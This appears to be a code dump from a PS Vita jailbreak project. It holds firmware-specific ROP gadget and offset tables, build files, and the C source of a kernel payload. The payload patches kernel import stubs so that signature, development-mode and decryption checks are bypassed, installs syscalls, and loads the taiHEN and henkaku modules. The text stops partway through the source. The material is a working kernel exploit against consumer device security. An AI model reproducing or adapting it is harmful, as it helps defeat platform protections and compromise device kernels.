ksceKernelFreeMemBlock: 0x2a7d8,
ksceKernelGetMemBlockBase: 0x2a818,
ksceKernelMemcpyUserToKernel: 0x2a828,
ksceKernelAllocMemBlock: 0x2a848,
empty_string: 0x22,
}
SceNetPs_offsets_v363_v370 = {
SceNetPs_base_off: -0x8d45,
}
SceNetPs_offsets_v371_v373 = {
SceNetPs_base_off: -0x8d75,
}
SceSysmem_offsets_v363_v373 = {
SceSysmem_base_off: -0x810b,
ksceKernelRemapBlock: 0x7f69,
ksceKernelCpuDcacheWritebackRange: 0x22fcd,
}
version_deps = {
// TODO: 3.60
// TODO: 3.61
"3.63": {
"SceWebKit": {
gadgets: SceWebKit_gadgets_v361_v365,
offsets: SceWebKit_offsets_v361_v365,
},
"SceLibc": {
functions: SceLibc_functions_v360_v373,
gadgets: SceLibc_gadgets_v360_v373,
offsets: SceLibc_offsets_v360_v373,
},
"SceNet": {
functions: SceNet_functions_v360_v373,
offsets: SceNet_offsets_v360_v373,
},
"SceNetPs": {
gadgets: SceNetPs_gadgets_v363_v370,
offsets: SceNetPs_offsets_v363_v370,
},
"SceSysmem": {
offsets: SceSysmem_offsets_v363_v373,
},
},
"3.65": {
"SceWebKit": {
gadgets: SceWebKit_gadgets_v361_v365,
offsets: SceWebKit_offsets_v361_v365,
},
"SceLibc": {
functions: SceLibc_functions_v360_v373,
gadgets: SceLibc_gadgets_v360_v373,
offsets: SceLibc_offsets_v360_v373,
},
"SceNet": {
functions: SceNet_functions_v360_v373,
offsets: SceNet_offsets_v360_v373,
},
"SceNetPs": {
gadgets: SceNetPs_gadgets_v363_v370,
offsets: SceNetPs_offsets_v363_v370,
},
"SceSysmem": {
offsets: SceSysmem_offsets_v363_v373,
},
},
// TODO: 3.67
"3.68": {
"SceWebKit": {
gadgets: SceWebKit_gadgets_v368_v373,
offsets: SceWebKit_offsets_v368_v373,
},
"SceLibc": {
functions: SceLibc_functions_v360_v373,
gadgets: SceLibc_gadgets_v360_v373,
offsets: SceLibc_offsets_v360_v373,
},
"SceNet": {
functions: SceNet_functions_v360_v373,
offsets: SceNet_offsets_v360_v373,
},
"SceNetPs": {
gadgets: SceNetPs_gadgets_v363_v370,
offsets: SceNetPs_gadgets_v363_v370,
},
"SceSysmem": {
offsets: SceSysmem_offsets_v363_v373,
},
},
"3.69": {
"SceWebKit": {
gadgets: SceWebKit_gadgets_v368_v373,
offsets: SceWebKit_offsets_v368_v373,
},
"SceLibc": {
functions: SceLibc_functions_v360_v373,
gadgets: SceLibc_gadgets_v360_v373,
offsets: SceLibc_offsets_v360_v373,
},
"SceNet": {
functions: SceNet_functions_v360_v373,
offsets: SceNet_offsets_v360_v373,
},
"SceNetPs": {
gadgets: SceNetPs_gadgets_v363_v370,
offsets: SceNetPs_gadgets_v363_v370,
},
"SceSysmem": {
offsets: SceSysmem_offsets_v363_v373,
},
},
"3.70": {
"SceWebKit": {
gadgets: SceWebKit_gadgets_v368_v373,
offsets: SceWebKit_offsets_v368_v373,
},
"SceLibc": {
functions: SceLibc_functions_v360_v373,
gadgets: SceLibc_gadgets_v360_v373,
offsets: SceLibc_offsets_v360_v373,
},
"SceNet": {
functions: SceNet_functions_v360_v373,
offsets: SceNet_offsets_v360_v373,
},
"SceNetPs": {
gadgets: SceNetPs_gadgets_v363_v370,
offsets: SceNetPs_gadgets_v363_v370,
},
"SceSysmem": {
offsets: SceSysmem_offsets_v363_v373,
},
},
"3.71": {
"SceWebKit": {
gadgets: SceWebKit_gadgets_v368_v373,
offsets: SceWebKit_offsets_v368_v373,
},
"SceLibc": {
functions: SceLibc_functions_v360_v373,
gadgets: SceLibc_gadgets_v360_v373,
offsets: SceLibc_offsets_v360_v373,
},
"SceNet": {
functions: SceNet_functions_v360_v373,
offsets: SceNet_offsets_v360_v373,
},
"SceNetPs": {
gadgets: SceNetPs_gadgets_v371_v373,
offsets: SceNetPs_offsets_v371_v373,
},
"SceSysmem": {
offsets: SceSysmem_offsets_v363_v373,
},
},
"3.72": {
"SceWebKit": {
gadgets: SceWebKit_gadgets_v368_v373,
offsets: SceWebKit_offsets_v368_v373,
},
"SceLibc": {
functions: SceLibc_functions_v360_v373,
gadgets: SceLibc_gadgets_v360_v373,
offsets: SceLibc_offsets_v360_v373,
},
"SceNet": {
functions: SceNet_functions_v360_v373,
offsets: SceNet_offsets_v360_v373,
},
"SceNetPs": {
gadgets: SceNetPs_gadgets_v371_v373,
offsets: SceNetPs_offsets_v371_v373,
},
"SceSysmem": {
offsets: SceSysmem_offsets_v363_v373,
},
},
"3.73": {
"SceWebKit": {
gadgets: SceWebKit_gadgets_v368_v373,
offsets: SceWebKit_offsets_v368_v373,
},
"SceLibc": {
functions: SceLibc_functions_v360_v373,
gadgets: SceLibc_gadgets_v360_v373,
offsets: SceLibc_offsets_v360_v373,
},
"SceNet": {
functions: SceNet_functions_v360_v373,
offsets: SceNet_offsets_v360_v373,
},
"SceNetPs": {
gadgets: SceNetPs_gadgets_v371_v373,
offsets: SceNetPs_offsets_v371_v373,
},
"SceSysmem": {
offsets: SceSysmem_offsets_v363_v373,
},
},
};
================================================
FILE: payload/LICENSE
================================================
The MIT License (MIT)
Copyright (c) 2016 molecule
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: payload/Makefile
================================================
TARGET = payload
OBJS = payload.o
PREFIX = arm-vita-eabi
CC = $(PREFIX)-gcc
AS = $(PREFIX)-as
OBJCOPY = $(PREFIX)-objcopy
CFLAGS = -fPIE -fno-zero-initialized-in-bss -std=c99 -mcpu=cortex-a9 -Os -mthumb
LDFLAGS = -T linker.x -nostartfiles -nostdlib -pie
all: $(TARGET).bin
%.bin: %.elf
$(OBJCOPY) -S -O binary $^ $@
$(TARGET).elf: $(OBJS)
$(CC) $(CFLAGS) $^ -o $@ $(LDFLAGS)
clean:
@rm -f $(TARGET).bin $(TARGET).elf $(OBJS)
================================================
FILE: payload/linker.x
================================================
OUTPUT_FORMAT("elf32-littlearm", "elf32-bigarm", "elf32-littlearm")
OUTPUT_ARCH(arm)
ENTRY(_start)
SECTIONS
{
.text : { *(.text.start) *(.text .text.* .gnu.linkonce.t.*) *(.sceStub.text.*) }
.rodata : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
.data : { *(.data .data.* .gnu.linkonce.d.*) }
.bss : { *(.bss .bss.* .gnu.linkonce.b.*) *(COMMON) }
/DISCARD/ : { *(.interp) *(.dynsym) *(.dynstr) *(.hash) *(.dynamic) *(.comment) }
}
================================================
FILE: payload/payload.c
================================================
#include <inttypes.h>
// #include "bootstrap.h"
// ALL 3.63-3.73 SPECIFIC SECTIONS ARE MARKED WITH "// BEGIN 3.63-3.73"
#if DEBUG
#define LOG(fmt, ...) debug_print("[%s:%d] " fmt "\n", __FUNCTION__, __LINE__, ##__VA_ARGS__)
#else
#define LOG(fmt, ...)
#endif
#define NULL ((void *)0)
#define DACR_OFF(stmt) \
do { \
unsigned prev_dacr; \
__asm__ volatile( \
"mrc p15, 0, %0, c3, c0, 0 \n" \
: "=r" (prev_dacr) \
); \
__asm__ volatile( \
"mcr p15, 0, %0, c3, c0, 0 \n" \
: : "r" (0xFFFF0000) \
); \
stmt; \
__asm__ volatile( \
"mcr p15, 0, %0, c3, c0, 0 \n" \
: : "r" (prev_dacr) \
); \
} while (0)
#define INSTALL_HOOK(func, addr) \
do { \
unsigned *target; \
target = (unsigned*)(addr); \
*target++ = 0xE59FF000; /* ldr pc, [pc, #0] */ \
*target++; /* doesn't matter */ \
*target = (unsigned)func; \
} while (0)
#define INSTALL_HOOK_THUMB(func, addr) \
do { \
unsigned *target; \
target = (unsigned*)(addr); \
*target++ = 0xC004F8DF; /* ldr.w ip, [pc, #4] */ \
*target++ = 0xBF004760; /* bx ip; nop */ \
*target = (unsigned)func; \
} while (0)
#define INSTALL_RET(addr, ret) \
do { \
unsigned *target; \
target = (unsigned*)(addr); \
*target++ = 0xe3a00000 | ret; /* mov r0, #ret */ \
*target = 0xe12fff1e; /* bx lr */ \
} while (0)
#define INSTALL_RET_THUMB(addr, ret) \
do { \
unsigned *target; \
target = (unsigned*)(addr); \
*target = 0x47702000 | ret; /* movs r0, #ret; bx lr */ \
} while (0)
#define ENTER_SYSCALL(state) do { \
__asm__ volatile ("mrc p15, 0, %0, c13, c0, 3" : "=r" (state)); \
__asm__ volatile ("mcr p15, 0, %0, c13, c0, 3" :: "r" (state << 16) : "memory"); \
} while(0)
#define EXIT_SYSCALL(state) do { \
__asm__ volatile ("mcr p15, 0, %0, c13, c0, 3" :: "r" (state) : "memory"); \
} while (0)
typedef uint64_t u64_t;
typedef uint32_t u32_t;
typedef uint16_t u16_t;
typedef uint8_t u8_t;
typedef struct segment_info
{
int size; // this structure size (0x18)
int perms; // probably rwx in low bits
void *vaddr; // address in memory
int memsz; // size in memory
int flags; // meanig unknown
int res; // unused?
} segment_info_t;
typedef struct SceModInfo {
int size; //0
int UID; //4
int mod_attr; //8
char name[0x1C]; //0xC
u32_t unk0; //0x28
void *module_start; //0x2C addr0
void *module_init; //0x30 addr1
void *module_stop; //0x34 addr2
void *exidx_start; //0x38 addr3
void *exidx_end; //0x3C addr4
void *addr5; //0x40 addr5
void *addr6; //0x44 addr6
void *module_top; //0x48 addr7
void *addr8; //0x4C addr8
void *addr9; //0x50 addr9
char filepath[0x100]; //0x54
segment_info_t segments[4]; //0x58
u32_t unk2; //0x1B4
} SceModInfo; //0x1B8
#define MOD_LIST_SIZE 0x80
typedef struct module_imports_2
{
u16_t size; // 0x24
u16_t version;
u16_t flags;
u16_t num_functions;
u32_t reserved1;
u32_t lib_nid;
char *lib_name;
u32_t *func_nid_table;
void **func_entry_table;
u32_t unk1;
u32_t unk2;
} module_imports_2_t;
typedef struct module_exports // thanks roxfan
{
u16_t size; // size of this structure; 0x20 for Vita 1.x
u8_t lib_version[2]; //
u16_t attribute; // ?
u16_t num_functions; // number of exported functions
u32_t num_vars; // number of exported variables
u32_t num_tls_vars; // number of exported TLS variables? <-- pretty sure wrong // yifanlu
u32_t module_nid; // NID of this specific export list; one PRX can export several names
char *lib_name; // name of the export module
u32_t *nid_table; // array of 32-bit NIDs for the exports, first functions then vars
void **entry_table; // array of pointers to exported functions and then variables
} module_exports_t;
typedef struct module_info // thanks roxfan
{
u16_t modattribute; // ??
u16_t modversion; // always 1,1?
char modname[27]; ///< Name of the module
u8_t type; // 6 = user-mode prx?
void *gp_value; // always 0 on ARM
int ent_top; // beginning of the export list (sceModuleExports array)
int ent_end; // end of same
int stub_top; // beginning of the import list (sceModuleStubInfo array)
int stub_end; // end of same
u32_t module_nid; // ID of the PRX? seems to be unused
int field_38; // unused in samples
int field_3C; // I suspect these may contain TLS info
int field_40; //
int mod_start; // 44 module start function; can be 0 or -1; also present in exports
int mod_stop; // 48 module stop function
int exidx_start; // 4c ARM EABI style exception tables
int exidx_end; // 50
int extab_start; // 54
int extab_end; // 58
} module_info_t; // 5c?
int strcmp(const char *s1, const char *s2) {
while (*s1 == *s2++)
if (*s1++ == 0)
return (0);
return (*(unsigned char *)s1 - *(unsigned char *)--s2);
}
static inline int memcpy(void *dst, const void *src, int len) {
char *dst1 = (char *)dst;
const char *src1 = (const char *)src;
while (len > 0) {
*dst1++ = *src1++;
len--;
}
return 0;
}
module_info_t * find_modinfo(uint32_t start_addr, const char *needle) {
start_addr &= ~0xF;
start_addr += 4;
while (1) {
if (strcmp((const char *)start_addr, needle) == 0)
return (module_info_t *)(start_addr - 0x4);
start_addr += 0x10;
}
return NULL;
}
void *find_export(module_info_t *mod, uint32_t nid) {
if (!mod->ent_top)
return NULL;
for (unsigned ent = mod->ent_top; ent < mod->ent_end;) {
module_exports_t *exports = (module_exports_t *)((unsigned int)mod + 0x5C + ent - mod->ent_top);
for (int j = 0; j < exports->num_functions; ++j)
if (exports->nid_table[j] == nid)
return (void*)((u32_t *)exports->entry_table)[j];
ent += exports->size;
}
return NULL;
}
void *find_import(module_info_t *mod, uint32_t lnid, uint32_t fnid) {
if (!mod->stub_top)
return NULL;
for (unsigned stub = mod->stub_top; stub < mod->stub_end;) {
// Older fw versions use a different import format
module_imports_2_t *imports = (module_imports_2_t *)((unsigned int)mod + 0x5C + stub - mod->stub_top);
if (imports->size == sizeof(module_imports_2_t) && imports->lib_nid == lnid) {
for (int j = 0; j < imports->num_functions; ++j)
if (imports->func_nid_table[j] == fnid)
return (void*)((u32_t *)imports->func_entry_table)[j];
}
stub += imports->size;
}
return NULL;
}
static void (*debug_print)(char *fmt, ...) = 0;
static int (*hook_resume_sbl_F3411881)() = 0;
static int (*hook_resume_sbl_89CCDA2C)() = 0;
static int (*hook_resume_sbl_BC422443)() = 0;
static int (*ksceKernelGetModuleList)() = 0;
static int (*ksceKernelGetModuleInfo)() = 0;
static void (*ksceKernelCpuIcacheAndL2WritebackInvalidateRange)(uint32_t addr, uint32_t size) = 0;
static int (*ksceKernelCpuDcacheWritebackRange)(uint32_t addr, uint32_t len) = 0;
static int (*ksceIoOpen)(const char *, int, int) = 0;
static int (*ksceIoWrite)(int, char *, int) = 0;
static int (*ksceIoClose)(int) = 0;
static int (*ksceAppMgrLaunchAppByPath)(const char *name, const char *cmd, int cmdlen, int, void *, void *) = 0;
static int (*ksceKernelLoadModule)(const char *path, int flags, int *opt) = 0;
static int (*ksceKernelStartModule)(int modid, int argc, void *args, int flags, void *opt, int *res) = 0;
static void (*ksceKernelSetSyscall)(u32_t num, void *function) = 0;
static int (*ksceKernelFreeMemBlock)(int blkid) = 0;
static int (*ksceKernelFindMemBlockByAddr)(void *base, int) = 0;
static int (*ksceKernelCreateThread)() = 0;
static int (*ksceKernelStartThread)() = 0;
static int (*ksceKernelExitDeleteThread)() = 0;
static int (*ksceKernelGetMemBlockBase)(int uid, void **base) = 0;
static int (*ksceKernelGetProcessInfo)(int pid, int *data) = 0;
// context for the hooks
static unsigned g_homebrew_decrypt = 0;
static module_info_t *modulemgr_info = 0;
static module_info_t *scenpdrm_info = 0;
static module_info_t *appmgr_info = 0;
static u32_t appmgr_code = 0;
static u32_t appmgr_size = 0;
static u32_t scenet_code = 0;
static u32_t scenet_data = 0;
// save the block id of our own memory
static int g_rx_block = 0;
static void *syscall_stub = 0;
static void **syscall_table = 0;
static int syscall_id = 0;
// shell
static int shell_pid = 0;
int hook_SceSblAIMgrForDriver_D78B04A2(void)
{
return 1;
}
int hook_SceSblAIMgrForDriver_F4B98F66(void)
{
return 1;
}
int hook_sysroot_421EFC96(void)
{
return 0;
}
int hook_ksceSblAimgrIsCEX(void)
{
return 0;
}
int hook_ksceSblACMgrIsDevelopmentMode(void)
{
return 1;
}
// setup file decryption
unsigned hook_sbl_F3411881(unsigned a1, unsigned a2, unsigned a3, unsigned a4) {
LOG("sbl_F3411881(0x%x, 0x%x, 0x%x, 0x%x)", a1, a2, a3, a4);
unsigned res = hook_resume_sbl_F3411881(a1, a2, a3, a4);
LOG("sbl_F3411881: %x", res);
unsigned *somebuf = (unsigned*)a4;
u64_t authid;
if (res == 0x800f0624 || res == 0x800f0616 || res == 0x800f0024 || (res >= 0x800f0b30 && res <= 0x800f0b3f)) {
DACR_OFF(
g_homebrew_decrypt = 1;
);
// BEGIN 3.63-3.73
somebuf[42] = 0x40;
// END 3.63-3.73
return 0;
} else {
DACR_OFF(
g_homebrew_decrypt = 0;
);
}
return res;
}
// setup output buffer
unsigned hook_sbl_89CCDA2C(unsigned a1, unsigned a2) {
LOG("sbl_89CCDA2C(0x%x, 0x%x) hb=0x%x", a1, a2, g_homebrew_decrypt);
if (g_homebrew_decrypt == 1)
return 2; // always compressed!
return hook_resume_sbl_89CCDA2C(a1, a2);
}
// decrypt
unsigned hook_sbl_BC422443(unsigned a1, unsigned a2, unsigned a3) {
LOG("sbl_BC422443(0x%x, 0x%x, 0x%x) hb=0x%x", a1, a2, a3, g_homebrew_decrypt);
if (g_homebrew_decrypt == 1)
return 0;
return hook_resume_sbl_BC422443(a1, a2, a3);
}
static const char ur0_temp_path[] = "ur0:temp";
static int has_sigpatches = 0;
static char old_sbl_F3411881[16] = {0};
static char old_sbl_89CCDA2C[16] = {0};
static char old_sbl_BC422443[16] = {0};
static char old_sblai_D78B04A2[16] = {0};
static char old_sblai_F4B98F66[16] = {0};
static char old_sysroot_421EFC96[16] = {0};
static char old_ksceSblAimgrIsCEX[16] = {0};
static char old_ksceSblACMgrIsDevelopmentMode[16] = {0};
static char old_ux0_data_path[9] = {0};
static void *ux0_data_path_addr = 0;
void temp_pkgpatches(void) {
void *addr;
LOG("inserting temporary patches");
addr = find_import(scenpdrm_info, 0xFD00C69A, 0xD78B04A2);
LOG("sblai_D78B04A2 stub: %p", addr);
DACR_OFF(
memcpy(old_sblai_D78B04A2, addr, 16);
INSTALL_HOOK(hook_SceSblAIMgrForDriver_D78B04A2, addr);
ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);
ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);
);
LOG("hooked sblai_D78B04A2");
addr = find_import(scenpdrm_info, 0xFD00C69A, 0xF4B98F66);
LOG("sblai_F4B98F66 stub: %p", addr);
DACR_OFF(
memcpy(old_sblai_F4B98F66, addr, 16);
INSTALL_HOOK(hook_SceSblAIMgrForDriver_F4B98F66, addr);
ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);
ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);
);
LOG("hooked sblai_F4B98F66");
__asm__ volatile ("isb" ::: "memory");
}
void remove_pkgpatches(void) {
void *addr;
LOG("removing temporary patches");
addr = find_import(scenpdrm_info, 0xFD00C69A, 0xD78B04A2);
LOG("sblai_D78B04A2 stub: %p", addr);
DACR_OFF(
memcpy(addr, old_sblai_D78B04A2, 16);
ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);
ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);
);
LOG("unhooked sblai_D78B04A2");
addr = find_import(scenpdrm_info, 0xFD00C69A, 0xF4B98F66);
LOG("sblai_F4B98F66 stub: %p", addr);
DACR_OFF(
memcpy(addr, old_sblai_F4B98F66, 16);
ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);
ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);
);
LOG("unhooked sblai_F4B98F66");
__asm__ volatile ("isb" ::: "memory");
}
void temp_sigpatches(void) {
void *addr;
LOG("inserting temporary patches");
addr = find_import(modulemgr_info, 0x7ABF5135, 0xF3411881);
LOG("sbl_F3411881 stub: %p\n", addr);
DACR_OFF(
memcpy(old_sbl_F3411881, addr, 16);
INSTALL_HOOK(hook_sbl_F3411881, addr);
ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);
ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);
);
LOG("hooked sbl_F3411881");
addr = find_import(modulemgr_info, 0x7ABF5135, 0x89CCDA2C);
LOG("sbl_89CCDA2C stub: %p", addr);
DACR_OFF(memcpy(old_sbl_89CCDA2C, addr, 16));
DACR_OFF(
memcpy(old_sbl_89CCDA2C, addr, 16);
INSTALL_HOOK(hook_sbl_89CCDA2C, addr);
ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);
ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);
);
LOG("hooked sbl_89CCDA2C");
addr = find_import(modulemgr_info, 0x7ABF5135, 0xBC422443);
LOG("sbl_BC422443 stub: %p", addr);
DACR_OFF(
memcpy(old_sbl_BC422443, addr, 16);
INSTALL_HOOK(hook_sbl_BC422443, addr);
ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);
ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);
);
LOG("hooked sbl_BC422443");
addr = find_import(appmgr_info, 0x2ED7F97A, 0x421EFC96);
LOG("sysroot_421EFC96 stub: %p", addr);
DACR_OFF(
memcpy(old_sysroot_421EFC96, addr, 16);
INSTALL_HOOK(hook_sysroot_421EFC96, addr);
ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);
ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);
);
LOG("hooked sysroot_421EFC96");
// To bypass 0x8080004C error on FW 3.60+
addr = find_import(appmgr_info, 0xFD00C69A, 0xD78B04A2);
LOG("ksceSblAimgrIsCEX stub: %p", addr);
if (addr) {
DACR_OFF(
memcpy(old_ksceSblAimgrIsCEX, addr, 16);
INSTALL_HOOK(hook_ksceSblAimgrIsCEX, addr);
ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);
ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);
);
LOG("hooked ksceSblAimgrIsCEX");
}
// To bypass 0x80020012 error on FW 3.70+
addr = find_import(appmgr_info, 0x9AD8E213, 0xE87D1777);
LOG("ksceSblACMgrIsDevelopmentMode stub: %p", addr);
if (addr) {
DACR_OFF(
memcpy(old_ksceSblACMgrIsDevelopmentMode, addr, 16);
INSTALL_HOOK(hook_ksceSblACMgrIsDevelopmentMode, addr);
ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);
ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);
);
LOG("hooked ksceSblACMgrIsDevelopmentMode");
}
DACR_OFF(
memcpy(old_ux0_data_path, ux0_data_path_addr, sizeof(old_ux0_data_path));
memcpy(ux0_data_path_addr, ur0_temp_path, sizeof(ur0_temp_path));
);
LOG("hooked ux0:data path");
DACR_OFF(has_sigpatches = 1);
__asm__ volatile ("isb" ::: "memory");
}
void remove_sigpatches(void) {
void *addr;
if (!has_sigpatches) return;
LOG("removing temporary patches");
addr = find_import(modulemgr_info, 0x7ABF5135, 0xF3411881);
LOG("sbl_F3411881 stub: %p", addr);
DACR_OFF(
memcpy(addr, old_sbl_F3411881, 16);
ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);
ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);
);
LOG("unhooked sbl_F3411881");
addr = find_import(modulemgr_info, 0x7ABF5135, 0x89CCDA2C);
LOG("sbl_89CCDA2C stub: %p", addr);
DACR_OFF(
memcpy(addr, old_sbl_89CCDA2C, 16);
ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);
ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);
);
LOG("unhooked sbl_89CCDA2C");
addr = find_import(modulemgr_info, 0x7ABF5135, 0xBC422443);
LOG("sbl_BC422443 stub: %p", addr);
DACR_OFF(
memcpy(addr, old_sbl_BC422443, 16);
ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);
ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);
);
LOG("unhooked sbl_BC422443");
addr = find_import(appmgr_info, 0x2ED7F97A, 0x421EFC96);
LOG("sysroot_421EFC96 stub: %p", addr);
DACR_OFF(
memcpy(addr, old_sysroot_421EFC96, 16);
ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);
ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);
);
LOG("unhooked sysroot_421EFC96");
addr = find_import(appmgr_info, 0xFD00C69A, 0xD78B04A2);
LOG("ksceSblAimgrIsCEX stub: %p", addr);
if (addr) {
DACR_OFF(
memcpy(addr, old_ksceSblAimgrIsCEX, 16);
ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);
ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);
);
LOG("unhooked ksceSblAimgrIsCEX");
}
addr = find_import(appmgr_info, 0x9AD8E213, 0xE87D1777);
LOG("ksceSblACMgrIsDevelopmentMode stub: %p", addr);
DACR_OFF(
memcpy(addr, old_ksceSblACMgrIsDevelopmentMode, 16);
ksceKernelCpuIcacheAndL2WritebackInvalidateRange((uint32_t)addr & ~0x1F, 0x20);
ksceKernelCpuDcacheWritebackRange((uint32_t)addr & ~0x1F, 0x20);
);
LOG("unhooked ksceSblACMgrIsDevelopmentMode");
DACR_OFF(
memcpy(ux0_data_path_addr, old_ux0_data_path, sizeof(old_ux0_data_path));
);
LOG("unhooked ux0:data path");
DACR_OFF(has_sigpatches = 0);
__asm__ volatile ("isb" ::: "memory");
}
static void find_ux0_data_path_addr() {
char *from = (char *)(appmgr_code + appmgr_info->stub_top);
char *to = (char *)(appmgr_code + appmgr_size);
while (strcmp(from, "ux0:data") != 0 && from < (to - 8))
from += 4;
DACR_OFF(ux0_data_path_addr = from);
}
static int get_shell_pid(void) {
unsigned data[0xE8/4];
int ret, ppid, pppid;
data[0] = sizeof(data);
ret = ksceKernelGetProcessInfo(0, data);
ppid = data[5];
LOG("ret: %x, ppid: %x", ret, ppid);
ret = ksceKernelGetProcessInfo(ppid, data);
pppid = data[5];
LOG("ret: %x, shell_pid: %x", ret, pppid);
return pppid;
}
int load_taihen(void) {
int state;
int opt, taiid, modid, ret, result;
ENTER_SYSCALL(state);
// load taiHEN
opt = 4;
taiid = ksceKernelLoadModule("ur0:tai/taihen.skprx", 0, &opt);
LOG("LoadTaiHEN: 0x%08X", taiid);
remove_sigpatches();
LOG("Removed temp patches");
result = 0;
ret = ksceKernelStartModule(taiid, 0, NULL, 0, NULL, &result);
LOG("StartTaiHEN: 0x%08X, 0x%08X", ret, result);
if (ret == 0) {
ret = result;
}
if (ret < 0) {
goto end;
}
// load henkaku kernel
modid = ksceKernelLoadModule("ur0:tai/henkaku.skprx", 0, &opt);
LOG("LoadHENKaku kernel: 0x%08X", modid);
result = 0;
ret = ksceKernelStartModule(modid, 4, &shell_pid, 0, NULL, &result);
LOG("StartHENkaku kernel: 0x%08X, 0x%08X", ret, result);
if (ret == 0) {
ret = result;
}
if (ret < 0) {
goto end;
}
end:
EXIT_SYSCALL(state);
return ret;
}
static void __attribute__((noinline, naked)) free_and_exit(int blk, void *free, void *lr) {
// now free the executable memory. this frees our current function so we have
// to ensure we do not return here
__asm__ volatile ("mov lr, %0\n"
"bx r1" :: "r" (lr) : "lr");
}
void cleanup_memory(void) {
void *lr;
__asm__ volatile ("mov %0, lr" : "=r" (lr));
LOG("calling cleanup from %x", lr);
// TODO: Delete bootstrap.self (#37)
// remove syscalls
LOG("removing syscalls");
ksceKernelSetSyscall(syscall_id + 0, syscall_stub);
ksceKernelSetSyscall(syscall_id + 1, syscall_stub);
ksceKernelSetSyscall(syscall_id + 2, syscall_stub);
ksceKernelSetSyscall(syscall_id + 3, syscall_stub);
LOG("freeing executable memory");
return free_and_exit(g_rx_block, ksceKernelFreeMemBlock, lr);
}
/* Install path and arguments */
const char launch_path_ur[] = "ur0:/temp/bootstrap.self";
const char launch_path_ux[] = "ux0:/data/bootstrap.self";
const char launch_args[] = "\0\0\0\0-nonsuspendable\0-livearea_off\0";
int thread_main(int args, void *argp) {
char real_args[sizeof(launch_args)];
int opt[52/4];
int ctx[16/4];
const char *launch_path;
int fd;
int ret;
void *lr;
__asm__ volatile ("mov %0, lr" : "=r" (lr));
LOG("Main kernel thread, called from %x!", lr);
memcpy(real_args, launch_args, sizeof(launch_args));
*(uint16_t *)&real_args[0] = syscall_id;
LOG("Loading bootstrap to system");
launch_path = launch_path_ux;
ret = fd = ksceIoOpen(launch_path, 0x603, 0x6);
LOG("ux ksceIoOpen: %x", fd);
if (fd < 0) {
launch_path = launch_path_ur;
fd = ksceIoOpen(launch_path, 0x603, 0x6);
LOG("ur ksceIoOpen: %x", fd);
}
if (fd >= 0) {
// ret = ksceIoWrite(fd, bootstrap_self, bootstrap_self_len);
LOG("ksceIoWrite: %x", ret);
ksceIoClose(fd);
for (int i = 0; i < sizeof(opt)/4; i++) {
opt[i] = 0;
}
opt[0] = sizeof(opt);
LOG("Launching bootstrap...");
ret = ksceAppMgrLaunchAppByPath(launch_path, real_args, sizeof(launch_args), 0, opt, NULL);
LOG("ksceAppMgrLaunchAppByPath: %x", ret);
}
if (ret < 0) {
LOG("unable to write bootstrap!");
remove_sigpatches();
remove_pkgpatches();
__asm__ volatile ("mov lr, %0\n"
"mov r0, %1\n"
"bx r0\n" :: "r" (lr), "r" (cleanup_memory) : "r0", "lr");
LOG("should not be here!");
while (1);
}
LOG("done with kernel thread!");
return 0;
}
int add_syscalls(void) {
